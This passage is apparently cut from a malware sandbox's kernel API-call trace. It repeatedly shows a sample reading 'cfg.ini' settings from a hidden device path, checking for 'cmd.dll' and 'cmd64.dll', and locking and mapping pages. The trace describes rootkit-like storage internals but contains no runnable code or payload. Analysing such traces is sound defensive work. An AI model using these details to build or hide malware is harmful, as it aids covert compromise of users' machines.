MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.657] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.657] IdePortDispatch () returned 0x103 [0126.657] KeWaitForMutexObject () returned 0x0 [0126.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.657] KeLeaveCriticalRegion () [0126.657] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.657] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.657] KeEnterCriticalRegion () [0126.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.657] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.657] KeLeaveCriticalRegion () [0126.657] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.657] KeEnterCriticalRegion () [0126.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.657] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.658] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e0aa0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.658] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.658] KeLeaveCriticalRegion () [0126.658] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.658] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.658] KeEnterCriticalRegion () [0126.658] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.658] ExFreePoolWithTag (P=0xfffffa8003ac63b0, Tag=0x0) [0126.658] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.658] KeLeaveCriticalRegion () [0126.658] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.658] ReleaseMutex (hMutex=0xf0) returned 1 [0126.658] Sleep (dwMilliseconds=0x124f80) [0126.673] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.673] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.673] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.673] KeEnterCriticalRegion () [0126.673] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.673] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.673] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.673] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.673] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.673] IdePortDispatch () returned 0x103 [0126.673] KeWaitForMutexObject () returned 0x0 [0126.673] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.673] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.673] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.673] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.673] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.673] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adc360 [0126.673] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.673] KeLeaveCriticalRegion () [0126.673] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.673] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.674] KeEnterCriticalRegion () [0126.674] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.674] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.674] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.674] KeLeaveCriticalRegion () [0126.674] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.674] KeEnterCriticalRegion () [0126.674] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.674] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.674] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.674] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.674] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.674] IdePortDispatch () returned 0x103 [0126.674] KeWaitForMutexObject () returned 0x0 [0126.674] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.674] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.674] KeLeaveCriticalRegion () [0126.674] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.674] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.674] KeEnterCriticalRegion () [0126.674] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.674] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ab000 [0126.674] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.674] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.674] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.674] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.674] IdePortDispatch () returned 0x103 [0126.674] KeWaitForMutexObject () returned 0x0 [0126.674] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.675] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.675] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.675] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.675] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.675] IdePortDispatch () returned 0x103 [0126.675] KeWaitForMutexObject () returned 0x0 [0126.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.675] KeLeaveCriticalRegion () [0126.675] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.675] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.675] KeEnterCriticalRegion () [0126.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.675] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.675] KeLeaveCriticalRegion () [0126.675] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.675] KeEnterCriticalRegion () [0126.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.675] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.675] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ed680, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.675] KeLeaveCriticalRegion () [0126.675] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.676] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.676] KeEnterCriticalRegion () [0126.676] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.676] ExFreePoolWithTag (P=0xfffffa8002adc360, Tag=0x0) [0126.676] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.676] KeLeaveCriticalRegion () [0126.676] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.676] ReleaseMutex (hMutex=0xf0) returned 1 [0126.676] Sleep (dwMilliseconds=0x124f80) [0126.691] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.691] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.691] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.691] KeEnterCriticalRegion () [0126.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.691] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.691] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.691] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.691] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.691] IdePortDispatch () returned 0x103 [0126.691] KeWaitForMutexObject () returned 0x0 [0126.692] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.692] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.692] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.692] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.692] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.692] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adc360 [0126.692] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.692] KeLeaveCriticalRegion () [0126.692] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.692] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.692] KeEnterCriticalRegion () [0126.692] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.692] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.692] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.692] KeLeaveCriticalRegion () [0126.692] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.692] KeEnterCriticalRegion () [0126.692] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.692] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.692] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.692] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.692] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.692] IdePortDispatch () returned 0x103 [0126.692] KeWaitForMutexObject () returned 0x0 [0126.692] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.692] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.692] KeLeaveCriticalRegion () [0126.692] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.692] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.692] KeEnterCriticalRegion () [0126.692] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.692] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b0000 [0126.692] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.693] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.693] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.693] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.693] IdePortDispatch () returned 0x103 [0126.693] KeWaitForMutexObject () returned 0x0 [0126.693] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.693] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.693] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.693] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.693] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.693] IdePortDispatch () returned 0x103 [0126.693] KeWaitForMutexObject () returned 0x0 [0126.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.693] KeLeaveCriticalRegion () [0126.693] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.694] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.694] KeEnterCriticalRegion () [0126.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.694] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.694] KeLeaveCriticalRegion () [0126.694] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.694] KeEnterCriticalRegion () [0126.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.694] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.694] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e0bf0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.694] KeLeaveCriticalRegion () [0126.694] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.694] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.694] KeEnterCriticalRegion () [0126.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.694] ExFreePoolWithTag (P=0xfffffa8002adc360, Tag=0x0) [0126.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.694] KeLeaveCriticalRegion () [0126.694] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.694] ReleaseMutex (hMutex=0xf0) returned 1 [0126.694] Sleep (dwMilliseconds=0x124f80) [0126.707] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.707] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.707] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.707] KeEnterCriticalRegion () [0126.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.708] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.708] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.708] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.708] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.708] IdePortDispatch () returned 0x103 [0126.708] KeWaitForMutexObject () returned 0x0 [0126.708] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.708] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.708] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.708] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.708] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.708] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adc360 [0126.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.708] KeLeaveCriticalRegion () [0126.708] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.708] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.708] KeEnterCriticalRegion () [0126.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.708] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.708] KeLeaveCriticalRegion () [0126.708] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.708] KeEnterCriticalRegion () [0126.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.708] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.708] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.708] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.708] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.708] IdePortDispatch () returned 0x103 [0126.708] KeWaitForMutexObject () returned 0x0 [0126.709] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.709] KeLeaveCriticalRegion () [0126.709] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.709] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.709] KeEnterCriticalRegion () [0126.709] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.709] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b5000 [0126.709] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.709] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.709] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.709] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.709] IdePortDispatch () returned 0x103 [0126.709] KeWaitForMutexObject () returned 0x0 [0126.709] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.709] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.709] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.709] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.709] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.709] IdePortDispatch () returned 0x103 [0126.709] KeWaitForMutexObject () returned 0x0 [0126.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.709] KeLeaveCriticalRegion () [0126.709] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.710] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.710] KeEnterCriticalRegion () [0126.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.710] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.710] KeLeaveCriticalRegion () [0126.710] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.710] KeEnterCriticalRegion () [0126.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.710] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.710] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ed480, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.710] KeLeaveCriticalRegion () [0126.710] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.710] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.710] KeEnterCriticalRegion () [0126.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.710] ExFreePoolWithTag (P=0xfffffa8002adc360, Tag=0x0) [0126.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.710] KeLeaveCriticalRegion () [0126.710] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.710] ReleaseMutex (hMutex=0xf0) returned 1 [0126.710] Sleep (dwMilliseconds=0x124f80) [0126.724] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.724] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.725] _snprintf (in: 